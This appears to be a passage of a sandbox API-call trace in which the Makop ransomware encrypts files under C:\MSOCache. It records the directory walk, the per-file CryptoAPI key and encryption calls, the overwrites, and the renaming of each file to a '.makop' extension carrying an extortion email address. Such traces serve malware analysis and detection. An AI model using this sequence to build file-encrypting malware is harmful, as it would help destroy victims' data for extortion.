CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0076.881] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.881] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0076.883] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2644d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.884] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0076.884] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0076.884] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2644d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.884] SetEndOfFile (hFile=0x124) returned 1 [0076.895] GetProcessHeap () returned 0x48a0000 [0076.895] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0076.895] GetProcessHeap () returned 0x48a0000 [0076.895] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0076.895] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0076.895] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0076.896] CloseHandle (hObject=0x124) returned 1 [0077.294] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0077.295] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0077.295] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0077.297] GetProcessHeap () returned 0x48a0000 [0077.297] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0077.297] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0077.297] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0077.297] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xf, lpOverlapped=0x0) returned 1 [0077.301] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0077.301] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0077.302] GetProcessHeap () returned 0x48a0000 [0077.302] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0077.302] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0077.302] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0077.302] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0077.302] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0077.302] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0077.302] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0077.303] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0077.303] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0077.303] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0077.303] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0077.303] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.303] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x391, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x391, lpOverlapped=0x0) returned 1 [0077.303] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x3a0) returned 1 [0077.303] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.304] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x3a0, lpOverlapped=0x0) returned 1 [0077.304] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0077.304] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.304] SetEndOfFile (hFile=0x124) returned 1 [0077.313] GetProcessHeap () returned 0x48a0000 [0077.313] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0077.313] GetProcessHeap () returned 0x48a0000 [0077.313] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0077.313] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0077.313] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0077.314] CloseHandle (hObject=0x124) returned 1 [0077.314] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0077.315] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.315] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0077.315] GetProcessHeap () returned 0x48a0000 [0077.315] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0077.315] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0077.315] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0077.315] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0077.319] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0077.319] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0077.320] GetProcessHeap () returned 0x48a0000 [0077.320] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0077.320] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0077.320] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0077.320] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0077.320] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0077.320] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0077.320] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0077.320] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0077.321] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0077.321] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0077.321] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0077.321] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.321] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x5ac, lpOverlapped=0x0) returned 1 [0077.321] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x5b0) returned 1 [0077.321] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.321] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x5b0, lpOverlapped=0x0) returned 1 [0077.321] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0077.321] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.322] SetEndOfFile (hFile=0x124) returned 1 [0077.328] GetProcessHeap () returned 0x48a0000 [0077.328] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0077.328] GetProcessHeap () returned 0x48a0000 [0077.328] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0077.328] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0077.328] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0077.329] CloseHandle (hObject=0x124) returned 1 [0077.329] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0077.329] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0077.329] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~1")) returned 1 [0077.329] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C") returned 62 [0077.329] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*.*") returned 66 [0077.329] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0077.334] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.334] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0077.334] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033") returned 67 [0077.334] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*.*") returned 71 [0077.334] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0077.336] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.336] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0077.336] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0077.336] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0077.337] GetProcessHeap () returned 0x48a0000 [0077.337] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0077.337] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0077.337] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0077.337] WriteFile (in: hFile=0x130, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0077.356] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0077.357] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0077.357] GetProcessHeap () returned 0x48a0000 [0077.357] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0077.357] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0077.357] CryptDestroyKey (hKey=0x48c7128) returned 1 [0077.357] WriteFile (in: hFile=0x130, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0077.361] WriteFile (in: hFile=0x130, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0077.361] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0077.361] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0077.361] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0077.362] WriteFile (in: hFile=0x130, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0077.362] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0077.362] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0077.362] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.362] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1a588, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1a588, lpOverlapped=0x0) returned 1 [0077.368] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a590, dwBufLen=0x1a590 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a590) returned 1 [0077.369] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.369] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1a590, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1a590, lpOverlapped=0x0) returned 1 [0077.371] 